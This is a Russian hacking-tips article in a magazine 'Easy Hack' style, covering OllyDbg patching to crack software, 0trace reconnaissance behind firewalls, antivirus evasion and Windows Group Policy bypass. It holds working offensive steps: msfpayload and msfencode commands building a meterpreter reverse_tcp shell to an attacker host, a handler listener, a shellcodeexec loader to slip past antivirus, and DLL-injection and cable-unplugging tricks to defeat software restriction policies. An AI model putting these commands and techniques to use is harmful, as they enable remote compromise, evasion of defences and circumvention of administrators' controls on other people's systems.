Easy Hack

Задача: Отредактировать exe’шник с помощью Ollydbg.

Решение

Итак, предположим, у нас есть какая-то софтина, чей функционал нам хотелось бы изменить. Причин такому желанию может быть много. Например, убрать проверку о регистрации программы, то есть кракнуть. Конечно, модификация exe’шника — не самая хорошая практика в кракинге, куда пафоснее намутить кейген, но это несколько другая тема. В качестве другого примера можно взять клиент к OpenEdge и его модификацию для благих целей, о чем недавно писал Алексей Синцов в статье про архитектурные уязвимости. Думаю, понятно, что мы говорим о ситуации, когда отсутствует доступ к исходникам. Так как это можно сделать? Способов, как всегда, несколько. Но в данном случае мы воспользуемся услугами дебаггера OllyDbg. Во-первых, потому что он входит в джентльменский набор наряду с IDA Pro и WinDbg, а во-вторых, потому что он прост и доступен.

Важный момент — найти то место, которое хочется изменить. Но тут могут помочь только голова на плечах, пучок знаний, да брейкпоинты (бряки). Хотя плюс OllyDbg — у нас есть возможность динамически следить за происходящим в программе, пошагово выполнять программный код.

Но приступим к делу. Исходим из того, что с местом мы определились. Далее, нажав <пробел>, мы имеем возможность поменять ассемблерные инструкции. Все наши изменения автоматически сохраняются в виде так называемых патчей, просмотреть которые можно, кликнув по «View - Patches». Что важно, при следующем запуске OllyDbg данные патчи погрузятся автоматически, так что можно временно отключить бряки и запустить софтинку, чтобы посмотреть на результаты. Сами патчи можно, аналогично брякам, включать, отключать, а также переключаться между ними. Патчи, бряки и вводимые комметарии хранятся в одноименных с исследуемой программой .udd-файлах, которые лежат по стандарту рядом с OllyDbg (указывается в udd path в настройках).

Если результат изменений нас устраивает, то все отлично, и можно создавать экзешник. Сохранить можно либо конкретный патч, либо все, которые в данный момент активны. Для этого:

1. Правый клик в главном окошке.
2. Copy to Executable.
3. All modifi cation.
4. В новом окошке видим получаемый файл.
5. Правый клик — Save file.

Дело сделано. Хотелось бы отметить еще одну приятную особенность: на месте exeфайла может быть любая библиотека. То есть исполняется программа, в ней модули — библиотеки. Дебажим exe’шник, попадаем в нужную библиотеку, вносим изменения и сохраняем аналогичным способом.

Задача: Сохранить положение брейкпоинтов между запусками ollydbg.

Решение

Брэйкпоинты (бряки) одна из основных вещей в любом дебаггере. Но, к сожалению, по стандарту наша любимая Олька не сохраняет их для разных сессий дебагга какого-либо приложения. Поставил бряки, поработал, а при следующем запуске — снова ищи их в приложении и ставь заново. Причина такого подхода не совсем ясна. Тем не менее, чтобы OllyDbg сохраняла бряки, требуется всего лишь поставить галку в настройках:

1. Меню - Options - Debugging Options - Security;
2. Ставим галку «Ignore Crc of сode section».

Стоит отметить, что сохраняются при этом не только обычные бряки INT3/0xCC, но и хардварные. Кроме того, есть еще одно решение.

Можно использовать специальный плагин — Break point manager plug-in, скачать который можно тут: pedram.redhive.com/code/ollydbg_plugins/olly_bp_man. Плагин умеет импортировать/экспортировать брейкпоинты, а также подгружать их автоматом при старте уже дебаженного файла. Особого профита я от него не нашел. Разве что можно сохранить несколько наборов брейкпоинтов и подгружать по мере необходимости какой-то определенный. Хотя, возможно, я что-то и упустил.
Все вышесказанное верно также и для Immunity Debugger, что логично.

Задача: Раскрытие сетевой инфраструктуры в обход файерволов.

Решение

Задача звучит грандиозно, хотя подразумевает что-то более прозаичное :). Здесь имеется в виду следующее: постараться узнать максимум инфы о какой-то сетке, которая находится за файерволом. Как ни странно, для обхода файерволов и сбора информации чего только не придумывают! Всевозможные тонкости, ух… Но и простейшие вещи очень часто работают. Например, стандартная тулза tracerout (tracert). Простейшая идея — отправляем на хост в интересующей нас сети ICMP-пакеты со значением TTL от 1 до числа, соответствующего количеству хостов до данного хоста, инкрементируя по 1. В ответ нам приходят сообщения об ошибках («TTL равен 0 и пакет сбрасывается») со всех этих хостов.

Таким образом мы получаем IP’шники хостов этого пути. Причем если мы трэйсим хост в сетке за файером, то мы можем получить внутренние IP-адреса данной сети. А это как раз то, что нам надо. Но сетевые файеры частенько настраивают на блокировку пакетов tracert’а. Что же делать? Воспользоваться новым tracert’ом. Что же тут можно придумать нового? А вот что — посылать ICMPпакеты не просто так, а в контексте какой-то IP-сессии, то есть уже установленного соединения. Тогда файеру достаточно трудно выделить нелегитимный трафик.

Таким образом мы можем получить применяемую в сетке адресацию, IP-адреса фаеров, NAT’ов и другого сетевого оборудования.

Способ этот реализован в виде входящей в поставку BackTrack4 тулзы 0trace (lcamtuf.coredump.cx) от Михала Залевски. Доработка этой идеи реализована в intrace (code.google.com/p/intrace) Робертом Свики.

Итак:

1) Создаем подключение

ncat –h victim_net.com 21

2) Трэйсим по данному соединению

0trace eth0 victim_net.com 21

Где:

• –h victim_net.com — наша цель;
• 21 — порт, с которым устанавливаем соединение (протокол/порт — любой открытый);
• eth0 — сетевой интерфейс.

Причем не важно, кто установил соединение. Трасеровать можно и по уже установленному соединению, где инициатор — удаленный хост. И еще мини-совет в тему пользы простейших тулз. Самый простой, но точный фингерпринт операционной системы — пинг этой ОС. Если ответы приходят со значением TTL близким (меньшим) к 128 — значит, ОС почти 100% Windows; 64–255 — значит, *nix. Этого вполне хватает для определения возможных векторов атак.

Задача: Организовать основу для Web-атак.

Решение

Сейчас мы еще раз поговорим про инструментарий. Какой бы специализированный софт мы не использовали для взлома, такая прекрасная вещь как Firefox является одной из основ. Хакерских плагинов к нему полным полно. Даже слишком много, да еще настроить все надо… В общем, я клоню к тому, что логичнее юзать уже подготовленный «хакерский» FF, чем начинать с пустого места. Ну или, как минимум, можно почерпнуть какие-то фичи.

Классикой здесь, наверное, являются продукты от YEHG — HackerFirefox, Ultimate Hackerfox Addons и GreaseMonkey Web Security Toolkit (yehg.net/lab/#tools). Но, к сожалению, поддерживаться они перестали.

Взгляни, на одну из возможных замен — Mantra (getmantra.com/download/index.html). Все основные плагины, общие настройки, портабельность. Остальное — лучше своими ручками потрогать.

Задача: Обход антивирусов

Решение

Возвращаемся к излюбленному 🙂 На сей раз это что-то конкретно хорошее, так как на момент написания статьи все антивирусы были в пролете. Но начнем с прошлых постов по этой теме. Как ты помнишь, используя хитрые и не очень техники, мы старались обойти антивирусы и скрыть payload из Metasploit Framework — meterpreter. Антивирусные компании, видя общие тенденции, связанные с MSF, добавили сигнатуры meterpreter’а в свои базы. И он стал по-настоящему палиться. Радовало то, что компании так и не удосужились перенять опыт создателей antimeter и детектить meterpreter’а в памяти. Кстати, с antimeter связана забавная тема.

Некий человек написал post-exploitation скрипт для meterpreter’а, который не дает себя обнаружить. Каким образом ему это удается? Очень просто — он мигрирует на процесс antimeter, а тот проверяет все процессы, кроме себя самого. Класс! 🙂 Но вернемся к обходу антивирей. За тулзу и за метод нам стоит поблагодарить Бернардо Дамеле. Итак, что же он сотворил? А вот что — «запускальщик шелл-кодов».

Звучит не научно, но правдиво. Тулзу shellcodeexeс можно скачать тут: https://github.com/inquisb/shellcodeexec. По сути своей идея проста как c горы на лыжах — сначало страшно, а потом как по маслу. Итак, на компе у жертвы запускается exe’шник, который читает специальным образом «зашифрованные» данные, пихает их к себе в память и исполняет.

А теперь по шагам.

1. shellcodeexeс читает входные данные;
2. входные данные — любой шелл-код в буквенно-циферном виде;
3. данный шелл-код копируется процессом себе же в память;
4. для этой области памяти (страницы памяти) установлены флаги RWX, то есть информацию можно считывать, записывать и код в данной области можно исполнять;
5. создается новый тред (поток) и шелл-коду передается управление.

Обход антивирусов организуется за счет того, что у них отсутствуют сигнатуры нагрузок в таком виде. Объяснение всей темы от Бернаро Дамеле: bernardodamele.blogspot.com/2011/04/execute-metasploitpayloadsbypassing.html.

На практике будет выглядеть так:

1.Конвертируем любую нагрузку в буквенно-циферный вид с размещением адреса на шелл-код в регистре EAX, а итог сохраняем в файл:

msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread
LPORT=4444 LHOST=hacker_ip R | msfencode -a x86 -e x86/
alpha_mixed -t raw BufferRegister=EAX > payload.txt

2.Запускаем сервер meterpreter’а на ожидание подключения:

msfcli multi/handler PAYLOAD=windows/meterpreter/
reverse_tcp EXITFUNC=thread LPORT=4444 LHOST= hacker_ip E

3.Передаем наш шелл-код тулзе

Type payload.txt > shellcodeexec.exe

4. Ждем бек-коннекта на сервере…

Теперь о плюсах и минусах. Минуса здесь как минимум два. Во-первых, для запуска шелл-кода требуется запуск shellcodeexeс, что далеко не всегда возможно. Во-вторых, хотя антивирусы и в обломе из-за отсутствия сигнатур (что со временем, конечно, изменится), но некоторые антивирусы, по слухам, все же детектят. Как? Эвристика срабатывает из-за использования RWX-страниц. Вообще, знающие люди говорят, что данная техника была известна давно, и потому широкого резонанса не вызвала. Но для нас главное, что она юзабельна. К плюсам можно отнести уже указанный обход антивирей, отсутствие привязки к шелл-коду и, что самое удивительное, отсутствие привязки к ОС и к ее разрядности. То есть, конечно, есть привязка. Но shellcodeexeс можно перекомпилить под любую платформу, и она будет работать.

Задача: Обойти ограничения групповых политик Windows на запуск приложений.

Решение

Для начала немного теории. «Групповая политика (Group Policies) — это набор правил или настроек, в соответствии с которыми производится настройка рабочей среды Windows… применяется к группе пользователей… Групповые политики создаются в домене ...».

По сути, для обычных пользователей это просто некие дополнительные ограничения на их возможности (кроме правовых ограничений). К примеру, доменный админ может запретить смену прокси-сервера в IE конкретному пользователю, на конкретной машине. Как ни странно, групповые политики существуют и вне домена. Можешь поставить их на своем домашнем компе — запусти c:windowssystem32gpedit.msc (secpol.msc) под админом и ограничь остальных юзеров. Кстати, групповыми политиками частенько пользуются вирусы, запрещая запуск «Диспетчера задач» и «Редактора реестра», например, чтобы себя обезопасить.

Так что следующий материал можно использовать и для вполне «благих» дел. Но сегодня мы поговорим про ограничения групповых политик на запускаемые приложения. Официальное название — Software Restriction Policies (SRP). В стандартном включенном состоянии обычному пользователю разрешается запуск приложений только из системных папок «Windows» и «Program Files». Почему именно оттуда? Все просто: обычные пользователи имеют на них только права Read и Execute, отсюда вывод — запустить что-то свое пользователь не сможет, так как писать в данные папки не имеет права. На практике же ограничения представляют из себя что-то более четкое, предоставляя доступ пользователям всего к нескольким программулинам.

Причем стоит отметить, что SRP следит за ограниченным набором расширений, которые могут являться исполняемыми. По дефолту — целый пучок. Но теперь к делу. Как же обойти? Способов масса, как всегда :). Но поговорим только об универсальных. Первый способ, о котором я сегодня расскажу, применим в той ситуации, когда у пользователя имеется физический доступ к компу, который находится в домене, а групповая политика нацелена на пользователя. То есть обычный персональный комп. В данной ситуации наипростейшим методом явлется следующая последовательность действий.

1. Вынимаем патч-корд из компа.
2. Включаем комп.
3. Логинимся под своей учеткой.
4. Втыкаем патч-корд.

Суть данного метода (как ты, возможно, уже догадался) заключается в том, что доменные групповые политки подгружаются, когда пользователь логинится в системе. Но так как связь с доменом отсутствует, то и политики подгрузиться не смогут, а потому и не применятся.

В систему же мы зайти сможем, так как используется фича cached domain credentials (за счет кэша последних заходов в систему). Далее мы восстанавливаем связь, подключая комп к сети. В общем, почти элегантно и просто.

Перейдем ко второму способу. Что делать, когда отсутствует физический доступ к компу? Самый распространенный пример в такой ситуации — терминальный доступ к серверу. Придумал выход и намутил к нему тулзу Марк Руссинович. Причем довольно давно, но до сих пор все работает: и под Vista, и под 7-й. Вот так — ломай, мучай какое-то ПО, производителя крупного… Глядишь, и купили тебя уже. Мотаем на ус :).

Суть данного способа основывается на следующих постулатах. Вопервых, процесс-родитель, запущенный пользователем (explorer.exe, например) перед порождением других процессов (читай — запуском приложений) проверяет «подходит ли данный процесс под ограничительные или разрешительные списки/правила SRP».

И если все хорошо, то процесс запускается. Иначе — злая табличка. Во-вторых, любой пользователь имеет права на манипуляции (изменения) над своими собственными процессами. Последнее поясню на примере. Есть explorer.exe («Проводник») лежащий в папке «Windows». У пользователя нет прав на запись/изменения, но есть права на исполнение (execute). Запустив explorer.exe, пользователь получает на процесс права, дающие возможность его изменять.
То есть пользователь, условно говоря, может подключиться к процессу дебаггером и поменять ход действий. В качестве примера запусти OllyDbg под обычным пользователем, и она выведет только список «твоих» процессов, доступных на изменение.

Таким образом, соединив данные постулаты вместе, мы получаем, что подконтрольный нам процесс принимает решение о том, можем ли мы что-то запустить. Как-то нелепо :).

Остается только понять, как модифицировать поведение подконтрольного нам процесса. Марк в качестве примера написал небольшую тулзу, обходящую SRP, и, что приятно, приложил исходники. Она работает следующим образом:

1. Используя мини-ехе’шник, запускается разрешенный процесс (родительский).
2. Используя технику dll-инжекта,в данный процесс подгружается dll-ка.
3. В данном процессе мы запускаем какую-то необходимую нам программулину (порождаем процесс).
4. Родительский процесс пытается прочитать реестр о применяемых правилах ограничений.
5. Наша dll’ка в родительском процессе перехватывает данный запрос и отвечает ошибкой, что такой ветки нет.
6. Родительский процесс, видя ошибку, думает, что ограничения на запуск отсутствуют, и порождает процесс.

Важно, что на порождаемый процесс обход ограничений тоже работает — плодись сколько хочешь. Полное описание способа здесь: goo.gl/BDIQt. Саму тулзу (gpdisable.zip), к сожалению, люди из Microsoft’а запрятали куда-то, но, во-первых, в сети еще можно ее отыскать, во-вторых, она есть на диске, а в-третьих, есть и другие.

Например, GPCul8or от Эрика Рахнера. Работает она аналогичным образом. Искать там же. Для галочки применение:

Gpdisable.exe c:windowsexplorer.exe

Еще интересность — можно добавить библиотеки в HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs, и тогда они автоматом будут подгружаться при запуске любого приложения. Но – требуются локальные админские права. Ну и напоследок разбиваем в пух и прах ограничения на запускаемые приложения групповыми политиками следующим образом. Заходим на goo.gl/ucrhQ, читаем, вкуриваем и теперь уж 100% обходим. Автор – Вадимс Подамс, спасибо ему за труд.